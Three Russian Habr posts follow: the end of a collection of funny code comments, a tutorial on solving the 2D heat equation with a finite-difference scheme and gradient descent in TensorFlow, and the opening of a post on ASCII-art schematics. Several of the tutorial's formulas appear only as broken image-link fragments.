This following code is a work of fiction. Variables, methods, classes and interfaces are either the products of the author’s imagination or used in a fictitious manner. Any resemblance to actual persons's code, living, dead or in coma is purely coincidental.
*/
```
```
/*
*
* ARRRRRRRRRRRRRRRRRRRRRR!
*
*
* | | |
* )_) )_) )_)
* )___))___))___)
* )____)____)_____)\
* _____|____|____|____\\\__
*---------\ /---------
* ^^^^^ ^^^^^^^^^^^^^^^^^^^^^
* ^^^^ ^^^^ ^^^ ^^
* ^^^^ ^^^
*
*
*/
```
```
// somedev1 - 6/7/02 Adding temporary tracking of Login screen
// somedev2 - 5/22/07 Temporary my ass .
```
```
//If you have reached here, you're probably doing something wrong.
```
```
//Increase the counter when you have tried hard to optimize this code and failed.
//total_hours_wasted=21
```
```
// No comments, as it was hard to code, it should be hard to understand.
```
```
//f**k the customers.
```
```
/* Please work */
```
```
//Hey John, please fix the errors.
//Hey Abraham, please fix the errors.
//Abraham says F**k you both .
```
```
/*
The CEO of the company (and my former boss) sold the company
leaving me free to comment the code as I should have. The
former CEO of the company will be referred to as Dip Shit, or DS for short.
DS thinks he is a software developing genius. Unfortunately for
me (the maintenance programmer) I spent too much time cleaning
up Dip's Shit.
DS is a daredevil developer. Like Evel Knievel his code uses
the GOTO statement frequently jumping daringly from a code
module into the middle of an IF...THEN structure in a different
module that has nothing to do with the first module.
Speaking of IF structures DS loves them. He has no idea what a
CASE or SWITCH logic block is. Instead, I get to play code
archaeologist, and dig though a massively nested (and un-
indented) IF...THEN...ELSE logic blocks.
DS thinks of himself as clever, and this shows though with the
variable names he chooses:
global i=0;
global dateMyWife = 1;
datesAreAFruit = '12/12/98';
giveDatesToMyWife = datesAreAFruit + dateMyWife;
if (someStuid)
{
giveDatesToMyWife = false;
}
// Ryan. Why does this sometimes crash?
if (giveDatesToMyWife) goto :hotTub
// Well, DS because you changed giveDatesToMyWife data type,
(also, adding an integer to the string -- which the compiler
warned you about)... Anyway in a weakly typed language you
obtained drain bramage by conditionally changing the data type
from a string to a Boolean, so that when the
if(giveDatesToMyWife) executes, when the variable is a string
the program correctly crashes -- because a string is not a
conditional bool type. Also, since someStuid is global, the
invisible pink unicorn only knows where this value is set, or
where and in what modules it gets changed.
DS only knows how to scope variables as global. Stating when he
"tried using local, or private, my programs would always error
with variable not found error, so it's just easier to make
everything a global."
I could go on, but as you dig though this flying-spaghetti-
monster nightmare code you will see what I mean.
*/
```
```
var c = 0,
safeCounter;
...
safeCounter = function () {
...
c++; // this is not subliminal
...
},
...
```
```
int x; // x is an int
int y; // y is an int
int z; // z is an int
/* more code here ... */
if (x) // do something here
return x;
else if (x == 0) // do something else here
return y;
else // do something entirely different
return z;
```
Коммент в исходниках VMWare:
```
//This exception should never happen, if it does gods help us.
```
*И все же ЭТО однажды случилось, и бог не помог...*
*[Has the Large Hadron Collider destroyed the world yet?](http://hasthelargehadroncolliderdestroyedtheworldyet.com/)*
*Исходники Apollo 11*
И напоследок, крик души:
```
# Stop using anal as a variable!
# Wherever I look I see anal this and anal that!
# So please stop.
# Use analyze or xbvvzr or whatever and not anal_insert or anal_check
```
### P.S.
```
// I'm sorry.
``` | https://habr.com/ru/post/343168/ | null | ru | null |
# Уравнение теплопроводности в tensorflow
Привет, Хабр! Некоторое время назад увлекся глубоким обучением и стал потихоньку изучать tensorflow. Пока копался в tensorflow вспомнил про свою курсовую по параллельному программированию, которую делал в том году на 4 курсе университета. Задание там формулировалось так:
Линейная начально-краевая задача для двумерного уравнения теплопроводности:
![\frac{\partial u}{\partial t} = \sum \limits_{\alpha=1}^{2} \frac{\partial}{\partial x_\alpha} \left (k_\alpha \frac{\partial u}{\partial x_\alpha} \right ) -u, \quad x_\alpha \in [0,1] \quad (\alpha=1,2), \ t>0;](https://tex.s2cms.ru/svg/%0A%5Cfrac%7B%5Cpartial%20u%7D%7B%5Cpartial%20t%7D%20%3D%20%5Csum%20%5Climits_%7B%5Calpha%3D1%7D%5E%7B2%7D%20%5Cfrac%7B%5Cpartial%7D%7B%5Cpartial%20x_%5Calpha%7D%20%5Cleft%20(k_%5Calpha%20%5Cfrac%7B%5Cpartial%20u%7D%7B%5Cpartial%20x_%5Calpha%7D%20%5Cright%20)%20-u%2C%20%5Cquad%20x_%5Calpha%20%5Cin%20%5B0%2C1%5D%20%5Cquad%20(%5Calpha%3D1%2C2)%2C%20%5C%20t%3E0%3B%0A)
%20%5Cin%20%5CDelta%20ABC%5C%5C%0A%20%20%20%201%2C%20(x_1%2C%20x_2)%20%5Cnotin%20%5CDelta%20ABC%0A%5Cend%7Bcases%7D%0A)
%2C%20%5C%20A(0.2%2C0.5)%2C%20%5C%20B(0.7%2C0.2)%2C%20%5C%20C(0.5%2C0.8)%3B%0A)
%20%3D%200%2C%5C%20u(0%2Cx_2%2Ct)%20%3D%201%20-%20e%5E%7B-%5Comega%20t%7D%2C%5C%20%20u(1%2C%20x_2%2C%20t)%20%3D%200%2C%0A)
%20%3D%201%20-%20e%5E%7B-%5Comega%20t%7D%2C%5C%20u(0%2C%20x_2%2C%20t)%20%3D%200%2C%5C%20%20%5Comega%20%3D%2020.%0A)
Хотя правильнее было бы назвать это уравнением диффузии.
Задачу тогда требовалось решить методом конечных разностей по неявной схеме, используя MPI для распараллеливания и метод сопряженных градиентов.
Я не специалист в численных методах, пока не специалист в tensorflow, но опыт у меня уже появился. И я загорелся желанием попробовать вычислять урматы на фреймворке для глубокого обучения. Метод сопряженных градиентов реализовывать второй раз уже не интересно, зато интересно посмотреть как с вычислением справится tensorflow и какие сложности при этом возникнут. Этот пост про то, что из этого вышло.
Численный алгоритм
------------------
Определим сетку:
![\[ \omega_{x_\alpha} = \left \{ x_{\alpha, i_\alpha} = i_\alpha h, i_\alpha = 0,...,N, h = \frac{1}{N}, \right \}\ \alpha = 1,2, \]](https://tex.s2cms.ru/svg/%0A%5C%5B%20%5Comega_%7Bx_%5Calpha%7D%20%3D%20%5Cleft%20%5C%7B%20x_%7B%5Calpha%2C%20i_%5Calpha%7D%20%3D%20i_%5Calpha%20h%2C%20i_%5Calpha%20%3D%200%2C...%2CN%2C%20h%20%3D%20%5Cfrac%7B1%7D%7BN%7D%2C%20%5Cright%20%5C%7D%5C%20%5Calpha%20%3D%201%2C2%2C%20%5C%5D%0A)
**Разностная схема:**
Чтобы проще было расписывать, введем операторы:
Явная разностная схема:
%20%2B%20%5CDelta_%7B2%7D(k_%7Bi%2Cj%7D%5CDelta_%7B2%7Du_%7Bi%2Cj%7D%5E%7Bt-1%7D)%20-%20u_%7Bi%2Cj%7D%5Et.%0A)
В случае явной разностной схемы для вычисления используются значения функции в предыдущий момент времени и не требуется решать уравнение на значения . Однако такая схема менее точная и требует значительно меньший шаг по времени.
Неявная разностная схема:
%20%2B%20%5CDelta_%7B2%7D(k_%7Bi%2Cj%7D%5CDelta_%7B2%7Du_%7Bi%2Cj%7D%5Et)%20-%20u_%7Bi%2Cj%7D%5Et%2C%0A)
%20%2B%20%0A%5CDelta_%7B2%7D(k_%7Bi%2Cj%7D%5Cfrac%7Bu_%7Bi%2Cj%2B1%2F2%7D%5Et%20-%20u_%7Bi%2Cj-1%2F2%7D%5Et%7D%7Bh%7D)%20-%20u_%7Bi%2Cj%7D%5Et%2C%0A)
Перенесем в левую сторону все связанное с , а в правую  и домножим на :
%20%2B%20%5Ctau)u_%7Bi%2Cj%7D%5Et%20-%20%5C%5C%20-%20%5Cfrac%7B%5Ctau%7D%7Bh%5E2%7D(k_%7Bi%2B1%2F2%2Cj%7Du_%7Bi%2B1%2Cj%7D%5Et%20%2B%20k_%7Bi-1%2F2%2Cj%7Du%5Et_%7Bi-1%2Cj%7D%20%2B%20k_%7Bi%2Cj%2B1%2F2%7Du%5Et_%7Bi%2Cj%2B1%7D%20%2B%20k_%7Bi%2Cj-1%2F2%7Du%5Et_%7Bi%2Cj-1%7D)%20%3D%20u%5E%7Bt-1%7D_%7Bi%2Cj%7D.%0A)
По сути мы получили операторное уравнение над сеткой:
что, если записать значения  в узлах сетки как обычный вектор, является обычной системой линейных уравнений (). Значения в предыдущий момент времени константы, так как уже рассчитаны.
Для удобства представим оператор  как разность двух операторов:
%2C%0A)
где:
%20%2B%20%5Ctau)%20u%5Et_%7Bi%2Cj%7D%2C%0A)
u%5Et%20%3D%20%5Cfrac%7B%5Ctau%7D%7Bh%5E2%7D(k_%7Bi%2B1%2F2%2Cj%7Du%5Et_%7Bi%2B1%2Cj%7D%20%2B%20k_%7Bi-1%2F2%2Cj%7Du%5Et_%7Bi-1%2Cj%7D%20%2B%0Ak_%7Bi%2Cj%2B1%2F2%7Du%5Et_%7Bi%2Cj%2B1%7D%20%2B%20k_%7Bi%2Cj-1%2F2%7Du%5Et_%7Bi%2Cj-1%7D).%0A)
Заменив  на нашу оценку , запишем функционал ошибки:
%5Chat%7Bu%7D%5Et%20-%20u%5E%7Bt-1%7D%2C%0A)
где  — ошибка в узлах сетки.
Будем итерационно минимизировать функционал ошибки, используя градиент.
В итоге задача свелась к перемножению тензоров и градиентному спуску, а это именно то, для чего **tensorflow** и был задуман.
Реализация на tensorflow
------------------------
#### Кратко о **tensorflow**
В tensorflow сначала строится граф вычислений. Ресурсы под граф выделяются внутри **tf.Session**. Узлы графа — это операции над данными. Ячейками для входных данных в граф служат **tf.placeholder**. Чтобы выполнить граф, надо у объекта сессии запустить метод **run**, передав в него интересующую операцию и входные данные для плейсхолдеров. Метод **run** вернет результат выполнения операции, а также может изменить значения внутри **tf.Variable** в рамках сессии.
tensorflow сам умеет строить графы операций, реализующие *backpropagation* градиента, при условии, что в оригинальном графе присутствуют только операции, для которых реализован градиент (пока не у всех).
#### Код:
Сначала код инициализации. Здесь производим все предварительные операции и считаем все, что можно посчитать заранее.
**Инициализация**
```
# Импорты
import numpy as np
import pandas as pd
import tensorflow as tf
import matplotlib.pyplot as plt
import matplotlib
from matplotlib.animation import FuncAnimation
from matplotlib import cm
import seaborn
# Класс инкапсулирующий логику инициализации, выполнения и
# обучения графа уравнения теплопроводности
class HeatEquation():
def __init__(self, nxy, tmax, nt, k, f, u0, u0yt, u1yt, ux0t, ux1t):
self._nxy = nxy # точек в направлении x, y
self._tmax = tmax # масимальное время
self._nt = nt # количество моментов времени
self._k = k # функция k
self._f = f # функция f
self._u0 = u0 # начальное условие
# краевые условия
self._u0yt = u0yt
self._u1yt = u1yt
self._ux0t = ux0t
self._ux1t = ux1t
# шаги по координатам и по времени
self._h = h = np.array(1./nxy)
self._ht = ht = np.array(tmax/nt)
print("ht/h/h:", ht/h/h)
self._xs = xs = np.linspace(0., 1., nxy + 1)
self._ys = ys = np.linspace(0., 1., nxy + 1)
self._ts = ts = np.linspace(0., tmax, nt + 1)
from itertools import product
# узлы сетки как векторы в пространстве
self._vs = vs = np.array(list(product(xs, ys)), dtype=np.float64)
# внутренние узлы
self._vcs = vsc = np.array(list(product(xs[1:-1], ys[1:-1])), dtype=np.float64)
# векторые в которых рассчитываются значения k
vkxs = np.array(list(product((xs+h/2)[:-1], ys)), dtype=np.float64) # k_i+0.5,j
vkys = np.array(list(product(xs, (ys+h/2)[:-1])), dtype=np.float64) # k_i ,j+0.5
# сетки со значениями k
self._kxs = kxs = k(vkxs).reshape((nxy,nxy+1))
self._kys = kys = k(vkys).reshape((nxy+1,nxy))
# диагональный оператор D_A
D_A = np.zeros((nxy+1, nxy+1))
D_A[0:nxy+1,0:nxy+0] += kys
D_A[0:nxy+1,1:nxy+1] += kys
D_A[0:nxy+0,0:nxy+1] += kxs
D_A[1:nxy+1,0:nxy+1] += kxs
self._D_A = D_A = 1 + ht/h/h*D_A[1:nxy,1:nxy] + ht
# функция, которую будем искать
self._U_shape = (nxy+1, nxy+1, nt+1)
# выделяем сразу для всех точек и моментов времени,
# очень много лишней памяти, но мне не жалко
self._U = np.zeros(self._U_shape)
# ее значение в нулевой момент времени
self._U[:,:,0] = u0(vs).reshape(self._U_shape[:-1])
```
 и  следует брать такими, чтобы  было небольшим, желательно, хотя бы < 1, особенно при использовании «негладких» функций.
Метод который строит граф уравнения:
**Граф вычислений**
```
# метод, строящий граф
def build_graph(self, learning_rate):
def reset_graph():
if 'sess' in globals() and sess:
sess.close()
tf.reset_default_graph()
reset_graph()
nxy = self._nxy
# входные параметры
kxs_ = tf.placeholder_with_default(self._kxs, (nxy,nxy+1))
kys_ = tf.placeholder_with_default(self._kys, (nxy+1,nxy))
D_A_ = tf.placeholder_with_default(self._D_A, self._D_A.shape)
U_prev_ = tf.placeholder(tf.float64, (nxy+1, nxy+1), name="U_t-1")
f_ = tf.placeholder(tf.float64, (nxy-1, nxy-1), name="f")
# значение функции в данный момент времени, его и будем искать
U_ = tf.Variable(U_prev_, trainable=True, name="U_t", dtype=tf.float64)
# срез тензора
def s(tensor, frm):
return tf.slice(tensor, frm, (nxy-1, nxy-1))
# вычисления действия оператора A+_A- на u
Ap_Am_U_ = s(U_, (0, 1))*s(self._kxs, (0, 1))
Ap_Am_U_ += s(U_, (2, 1))*s(self._kxs, (1, 1))
Ap_Am_U_ += s(U_, (1, 0))*s(self._kys, (1, 0))
Ap_Am_U_ += s(U_, (1, 2))*s(self._kys, (1, 1))
Ap_Am_U_ *= self._ht/self._h/self._h
# остатки
res = D_A_*s(U_,(1, 1)) - Ap_Am_U_ - s(U_prev_, (1, 1)) - self._ht*f_
# функционал ошибки, который будет оптимизироваться
loss = tf.reduce_sum(tf.square(res), name="loss_res")
# краевые условия и их влияния на функцию потерь
u0yt_ = None
u1yt_ = None
ux0t_ = None
ux1t_ = None
if self._u0yt:
u0yt_ = tf.placeholder(tf.float64, (nxy+1,), name="u0yt")
loss += tf.reduce_sum(tf.square(tf.slice(U_, (0, 0), (1, nxy+1))
- tf.reshape(u0yt_, (1, nxy+1))), name="loss_u0yt")
if self._u1yt:
u1yt_ = tf.placeholder(tf.float64, (nxy+1,), name="u1yt")
loss += tf.reduce_sum(tf.square(tf.slice(U_, (nxy, 0), (1, nxy+1))
- tf.reshape(u1yt_, (1, nxy+1))), name="loss_u1yt")
if self._ux0t:
ux0t_ = tf.placeholder(tf.float64, (nxy+1,), name="ux0t")
loss += tf.reduce_sum(tf.square(tf.slice(U_, (0, 0), (nxy+1, 1))
- tf.reshape(ux0t_, (nxy+1, 1))), name="loss_ux0t")
if self._ux1t:
ux1t_ = tf.placeholder(tf.float64, (nxy+1,), name="ux1t")
loss += tf.reduce_sum(tf.square(tf.slice(U_, (0, nxy), (nxy+1, 1))
- tf.reshape(ux1t_, (nxy+1, 1))), name="loss_ux1t")
# на удивление, у операции присвоения значения отдельным элементам в тензоре,
# на момент написания, нет реализованного градиента
loss /= (nxy+1)*(nxy+1)
# шаг оптимизации функционала
train_step = tf.train.AdamOptimizer(learning_rate, 0.7, 0.97).minimize(loss)
# возврат в словаре операций графа, которые будем запускать
self.g = dict(
U_prev = U_prev_,
f = f_,
u0yt = u0yt_,
u1yt = u1yt_,
ux0t = ux0t_,
ux1t = ux1t_,
U = U_,
res = res,
loss = loss,
train_step = train_step
)
return self.g
```
По-хорошему надо было считать значения функции на краях заданными и оптимизировать значения функции только во внутренней области, но с этим возникли проблемы. Способа сделать оптимизируемым только часть тензора не нашлось, и у операции присвоения значения срезу тензора не написан градиент (на момент написания поста). Можно было бы попробовать хитро повозиться на краях или написать свой оптимизатор. Но и просто добавление разности на краях значений функции и краевых условий в функционал ошибки хорошо работает.
Стоит отметить, что метод с адаптивным моментом показал себя наилучшим образом, пусть функционал ошибки и квадратичный.
*Вычисление функции*: в каждый момент времени делаем несколько оптимизационных итераций, пока не превысим maxiter или ошибка не станет меньше eps, сохраняем и переходим к следующему моменту.
**Вычисление**
```
def train_graph(self, eps, maxiter, miniter):
g = self.g
losses = []
# запускам контекст сессии
with tf.Session() as sess:
# инициализируем место под данные в графе
sess.run(tf.global_variables_initializer(), feed_dict=self._get_graph_feed(0))
for t_i, t in enumerate(self._ts[1:]):
t_i += 1
losses_t = []
losses.append(losses_t)
d = self._get_graph_feed(t_i)
p_loss = float("inf")
for i in range(maxiter):
# запускаем граф итерации оптимизации
# и получаем значения u, функционала потерь
_, self._U[:,:,t_i], loss = sess.run([g["train_step"], g["U"], g["loss"]], feed_dict=d)
losses_t.append(loss)
if i > miniter and abs(p_loss - loss) < eps:
p_loss = loss
break
p_loss = loss
print('#', end="")
return self._U, losses
```
***Запуск:***
**Код запуска**
```
tmax = 0.5
nxy = 100
nt = 10000
A = np.array([0.2, 0.5])
B = np.array([0.7, 0.2])
C = np.array([0.5, 0.8])
k1 = 1.0
k2 = 50.0
omega = 20
# проверка принадлежности точки треугольнику
def triang(v, k1, k2, A, B, C):
v_ = v.copy()
k = k1*np.ones([v.shape[0]])
v_ = v - A
B_ = B - A
C_ = C - A
m = (v_[:, 0]*B_[1] - v_[:, 1]*B_[0]) / (C_[0]*B_[1] - C_[1]*B_[0])
l = (v_[:, 0] - m*C_[0]) / B_[0]
inside = (m > 0.) * (l > 0.) * (m + l < 1.0)
k[inside] = k2
return k
# 0.0
def f(v, t):
return 0*triang(v, h0, h1, A, B, C)
# 0.0
def u0(v):
return 0*triang(v, t1, t2, A, B, C)
# краевые условия
def u0ytb(t, ys):
return 1 - np.exp(-omega*np.ones(ys.shape[0])*t)
def ux0tb(t, xs):
return 1 - np.exp(-omega*np.ones(xs.shape[0])*t)
def u1ytb(t, ys):
return 0.*np.ones(ys.shape[0])
def ux1tb(t, xs):
return 0.*np.ones(xs.shape[0])
# запуск и получение результата
eq = HeatEquation(nxy, tmax, nt, lambda x: triang(x, k1, k2, A, B, C), f, u0, u0ytb, u1ytb, ux0tb, ux1tb)
_ = eq.build_graph(0.001)
U, losses = eq.train_graph(1e-6, 100, 1)
```
Результаты
----------
Оригинальное условие:
**Скрытый текст**
Условие как и оригинальное, но без  в уравнении:
**Скрытый текст**![\frac{\partial u}{\partial t} = \sum \limits_{\alpha=1}^{2} \frac{\partial}{\partial x_\alpha} \left (k_\alpha \frac{\partial u}{\partial x_\alpha} \right ), \quad x_\alpha \in [0,1] \quad (\alpha=1,2), \ t>0;](https://tex.s2cms.ru/svg/%0A%5Cfrac%7B%5Cpartial%20u%7D%7B%5Cpartial%20t%7D%20%3D%20%5Csum%20%5Climits_%7B%5Calpha%3D1%7D%5E%7B2%7D%20%5Cfrac%7B%5Cpartial%7D%7B%5Cpartial%20x_%5Calpha%7D%20%5Cleft%20(k_%5Calpha%20%5Cfrac%7B%5Cpartial%20u%7D%7B%5Cpartial%20x_%5Calpha%7D%20%5Cright%20)%2C%20%5Cquad%20x_%5Calpha%20%5Cin%20%5B0%2C1%5D%20%5Cquad%20(%5Calpha%3D1%2C2)%2C%20%5C%20t%3E0%3B%0A)
%20%5Cin%20%5CDelta%20ABC%5C%5C%0A%20%20%20%201%2C%20(x_1%2C%20x_2)%20%5Cnotin%20%5CDelta%20ABC%0A%5Cend%7Bcases%7D%0A)
%20%3D%200%2C%5C%20u(0%2Cx_2%2Ct)%20%3D%201%20-%20e%5E%7B-%5Comega%20t%7D%2C%5C%20%20u(1%2C%20x_2%2C%20t)%20%3D%200%2C%0A)
%20%3D%201%20-%20e%5E%7B-%5Comega%20t%7D%2C%5C%20u(0%2C%20x_2%2C%20t)%20%3D%200%2C%5C%20%20%5Comega%20%3D%2020.%0A)
Что легко правится в коде:
```
# в методе __init__
self._D_A = D_A = 1 + ht/h/h*D_A[1:nxy,1:nxy]
```
Разницы почти нет, потому что производные имеют большие порядки, чем сама функция.
Далее везде:
![\frac{\partial u}{\partial t} = \sum \limits_{\alpha=1}^{2} \frac{\partial}{\partial x_\alpha} \left (k_\alpha \frac{\partial u}{\partial x_\alpha} \right ) +f, \quad x_\alpha \in [0,1] \quad (\alpha=1,2), \ t>0;](https://tex.s2cms.ru/svg/%0A%5Cfrac%7B%5Cpartial%20u%7D%7B%5Cpartial%20t%7D%20%3D%20%5Csum%20%5Climits_%7B%5Calpha%3D1%7D%5E%7B2%7D%20%5Cfrac%7B%5Cpartial%7D%7B%5Cpartial%20x_%5Calpha%7D%20%5Cleft%20(k_%5Calpha%20%5Cfrac%7B%5Cpartial%20u%7D%7B%5Cpartial%20x_%5Calpha%7D%20%5Cright%20)%20%2Bf%2C%20%5Cquad%20x_%5Calpha%20%5Cin%20%5B0%2C1%5D%20%5Cquad%20(%5Calpha%3D1%2C2)%2C%20%5C%20t%3E0%3B%0A)
Условие с одним нагревающимся краем:
**Скрытый текст**%20%5Cin%20%5CDelta%20ABC%5C%5C%0A%20%20%20%201%2C%20(x_1%2C%20x_2)%20%5Cnotin%20%5CDelta%20ABC%0A%5Cend%7Bcases%7D%0A)
%20%3D%200%2C%0A)
%20%3D%200%2C%5C%20u(0%2Cx_2%2Ct)%20%3D%201%20-%20e%5E%7B-%5Comega%20t%7D%2C%5C%20%20u(1%2C%20x_2%2C%20t)%20%3D%200%2C%0A)
%20%3D%200%2C%5C%20u(0%2C%20x_2%2C%20t)%20%3D%200%2C%5C%20%20%5Comega%20%3D%2020.%0A)
Условие с остыванием изначально нагретой области:
**Скрытый текст**
%20%3D%200%2C%0A)
%20%3D%0A%5Cbegin%7Bcases%7D%0A%20%20%20%200.1%2C%20(x_1%2C%20x_2)%20%5Cin%20%5CDelta%20ABC%5C%5C%0A%20%20%20%200%2C%20(x_1%2C%20x_2)%20%5Cnotin%20%5CDelta%20ABC%0A%5Cend%7Bcases%7D%0A)
%20%3D%200%2C%5C%20%20u(1%2C%20x_2%2C%20t)%20%3D%200%2C%0A)
%20%3D%200%2C%5C%20u(0%2C%20x_2%2C%20t)%20%3D%200.%0A)
Условие с включением нагрева в области:
**Скрытый текст**%20%5Cin%20%5CDelta%20ABC%5C%5C%0A%20%20%20%2010%2C%20(x_1%2C%20x_2)%20%5Cnotin%20%5CDelta%20ABC%0A%5Cend%7Bcases%7D%0A)
%20%3D%0A%5Cbegin%7Bcases%7D%0A%20%20%20%2010%2C%20(x_1%2C%20x_2)%20%5Cin%20%5CDelta%20ABC%5C%5C%0A%20%20%20%200%2C%20(x_1%2C%20x_2)%20%5Cnotin%20%5CDelta%20ABC%0A%5Cend%7Bcases%7D%0A)
%20%3D%200%2C%5C%20u(0%2Cx_2%2Ct)%20%3D%200%2C%5C%20%20u(1%2C%20x_2%2C%20t)%20%3D%200%2C%0A)
%20%3D%200%2C%5C%20u(0%2C%20x_2%2C%20t)%20%3D%200.%0A)
Рисование гифок
---------------
Функция рисования 3D-гифки:
**3d gif**В основной класс добавляем метод, возвращающий U в виде pandas.DataFrame
```
def get_U_as_df(self, step=1):
nxyp = self._nxy + 1
nxyp2 = nxyp**2
Uf = self._U.reshape((nxy+1)**2,-1)[:, ::step]
data = np.hstack((self._vs, Uf))
df = pd.DataFrame(data, columns=["x","y"] + list(range(len(self._ts))[0::step]))
return df
```
```
def make_gif(Udf, fname):
from mpl_toolkits.mplot3d import Axes3D
from matplotlib.ticker import LinearLocator, FormatStrFormatter
from scipy.interpolate import griddata
fig = plt.figure(figsize=(10,7))
ts = list(Udf.columns[2:])
data = Udf
# преобразуем сетку в данные, которые умеет рисовать matplotlib
x1 = np.linspace(data['x'].min(), data['x'].max(), len(data['x'].unique()))
y1 = np.linspace(data['y'].min(), data['y'].max(), len(data['y'].unique()))
x2, y2 = np.meshgrid(x1, y1)
z2s = list(map(lambda x: griddata((data['x'], data['y']), data[x], (x2, y2),
method='cubic'), ts))
zmax = np.max(np.max(data.iloc[:, 2:])) + 0.01
zmin = np.min(np.min(data.iloc[:, 2:])) - 0.01
plt.grid(True)
ax = fig.gca(projection='3d')
ax.view_init(35, 15)
ax.set_zlim(zmin, zmax)
ax.zaxis.set_major_locator(LinearLocator(10))
ax.zaxis.set_major_formatter(FormatStrFormatter('%.02f'))
norm = matplotlib.colors.Normalize(vmin=zmin, vmax=zmax, clip=False)
surf = ax.plot_surface(x2, y2, z2s[0], rstride=1, cstride=1, norm=norm, cmap=cm.coolwarm, linewidth=0., antialiased=True)
fig.colorbar(surf, shrink=0.5, aspect=5)
# функция перерисовки картинки в новом кадре
def update(t_i):
label = 'timestep {0}'.format(t_i)
ax.clear()
print(label)
surf = ax.plot_surface(x2, y2, z2s[t_i], rstride=1, cstride=1, norm=norm, cmap=cm.coolwarm, linewidth=0., antialiased=True)
ax.view_init(35, 15+0.5*t_i)
ax.set_zlim(zmin, zmax)
return surf,
# создание и сохранение анимации
anim = FuncAnimation(fig, update, frames=range(len(z2s)), interval=50)
anim.save(fname, dpi=80, writer='imagemagick')
```
Функция рисования 2D-гифки:
**2d gif**
```
def make_2d_gif(U, fname, step=1):
fig = plt.figure(figsize=(10,7))
zmax = np.max(np.max(U)) + 0.01
zmin = np.min(np.min(U)) - 0.01
norm = matplotlib.colors.Normalize(vmin=zmin, vmax=zmax, clip=False)
im=plt.imshow(U[:,:,0], interpolation='bilinear', cmap=cm.coolwarm, norm=norm)
plt.grid(False)
nst = U.shape[2] // step
# функция перерисовки картинки в новом кадре
def update(i):
im.set_array(U[:,:,i*step])
return im
# создание и сохранение анимации
anim = FuncAnimation(fig, update, frames=range(nst), interval=50)
anim.save(fname, dpi=80, writer='imagemagick')
```
Итог
----
Стоит отметить, что оригинальное условие без использования GPU считалось 4м 26с, а с использованием GPU 2м 11с. При больших значениях точек разрыв растет. Однако не все операции в полученном графе GPU-совместимы.
Характеристики машины:
* Intel Core i7 6700HQ 2600 МГц,
* NVIDIA GeForce GTX 960M.
Посмотреть, какие операции на чем выполняются, можно с помощью следующего кода:
**Скрытый текст**
```
# В основном классе
def check_metadata_partitions_graph(self):
g = self.g
d = self._get_graph_feed(1)
with tf.Session() as sess:
sess.run(tf.global_variables_initializer(), feed_dict=d)
options = tf.RunOptions(output_partition_graphs=True)
metadata = tf.RunMetadata()
c_val = sess.run(g["train_step"], feed_dict=d, options=options,
run_metadata=metadata)
print(metadata.partition_graphs)
```
Это был интересный опыт. Tensorflow неплохо показал себя для этой задачи. Может быть даже такой подход получит какое-то применение — всяко приятнее писать код на питоне, чем на C/C++, а с развитием tensorflow станет еще проще.
Спасибо за внимание!
Использованная литература
-------------------------
— Бахвалов Н. С., Жидков Н. П., Г. М. Кобельков *Численные методы*, 2011 | https://habr.com/ru/post/321734/ | null | ru | null |
# «Прикладной» ASCII-арт
Привет, Хабр! Автор [недавней статьи](https://habr.com/ru/post/440830/) рассказал о разновидности ASCII-арта, которая вроде как и не совсем «арт», т.е., искусство. Ибо служит практическим целям: показать небольшой эскиз, график, электрическую или иную схему… Решил и я вспомнить на эту тему что-нибудь.
```
WA1-o-o-+VD1-o-+
| | | |
L C C R<-+
1 1 2 1 |
| | | | |
|-o-o------o-+ |
+-----------------+ +--R3--+C6--|
| |
o--C3+-o-|4 8|-o-C7+-o-BA1-Vcc
| | DA1 | |
+------+ | К174 | |
| | УН4 | |
o-C4+-R2-|2 6|-------+
| |
|--C5+---|5 7|-Vcc
| |
|--------|9 |
```
Когда-то IDE для ПЛК работали так же, как и большинство других серьёзных программ того времени — в текстовом режиме. Программист мог вглядываться во что-то вроде этого (взято [отсюда](https://en.wikipedia.org/wiki/Programmable_logic_controller)):
```
| (N.C. physical (N.C. physical |
| Switch) Switch) |
| Low Level High Level Fill Valve |
|------[ ]------|------[ ]----------------------(OUT)---------|
| | |
| | |
| | |
| Fill Valve | |
|------[ ]------| |
| |
| |
```
Те современные ПЛК, которые снабжены встроенными дисплеями на HD44780, и сегодня так могут.
Но даже оказавшись за компьютером, где графический режим — единственный и безальтернативный (например, БК), составитель инструкции или справочника мог по инерции сбацать такое (фрагмент структурной схемы микропроцессора К1801ВМ1, [отсюда](https://ru.wikipedia.org/wiki/%D0%9A1801%D0%92%D0%9C1)):
```
1 34 30 29 35 31 32 33
| | | | | | | |
CLC| | ACLO| DCLO| VIRQ| IRQ1| IRQ2| IRQ3|
| INIT| | | | | | |
\|/ | \|/ \|/ \|/ \|/ \|/ \|/
| \|/ | | | | | |
|___|___| /|\ |_|_____|_____|_____|_____|_____|_|
|схема | | | Блок |
|такти- | | | Прерываний |
|рования| | |_______________|_________________|
|___|___| | |
| | /|\
/|\ | |
| | |
```
Инерция продолжалась и в девяностых, и даже в начале нулевых. Вот, например, эскиз, сделанный в 1997 году:
```
__________________________
/ /\
| | |
| SOUP CAN | |
| | |
| | |
| | __ |
RUBBER | | ( ) |
SHEET __\ | | (__) |
/ | | | /__ WITH
| | | \ HOLE
| | |
| | |
| | |
\_________________________\/
```
Это знакомый многим генератор вихревых колец ([отсюда](http://amasci.com/amateur/vortgen.html)): с одной стороны мембрана, с другой — стенка с отверстием.
Могли и электрическую схему так изобразить. Если при этом брали псевдографические символы из второй части кодовой таблицы, получалась привязка к кодировке. Из КОИ-8Р в 866 и обратно перевести ещё можно, а в 1251, где таких символов нет — уже проблема. При пользовании дополнительными возможностями редакторов, например, Vortex (для БК) или «Слово и дело», получалась вообще привязка к определённому редактору. Vortex был вообще удобнейшей штукой: не сразу поймёшь, в каком редакторе выполнена схема, в текстовом или графическом. Зато отказ от всего этого обеспечивал настоящую кроссплатформенность. Можно было составить схему, например, на «Амиге», а посмотреть на «Корвете». Вот преобразователь полярности из +5В в -5В, полезная вещь для экспериментирующих с КР580ВМ80, диоды анодами вверх, [отсюда](https://qsl.net/yo5ofh/hobby%20circuits/ascii.htm):
```
+V
^
|
+-------+---+
| | | -V Output
R1 |8 |4 +----+--->
| 7 ------- | | Parts List:
+-----| | D2 | IC1 = 555
| +--| | + | | R1 = 1.5K
R2 | 6| IC1 |---C1--+ | R2 = 10K
| | | |3 | | C1 = 10uF,16V
+--+--| | D1 C2 C2 = 22uF,16V
| 2| | | |+ C3 = 1500pF
| ------- | | D1,D2 = 1N4001 diodes
C3 |1 | |
| | | |
+---------+-----------+----+
|
===
(GND)
```
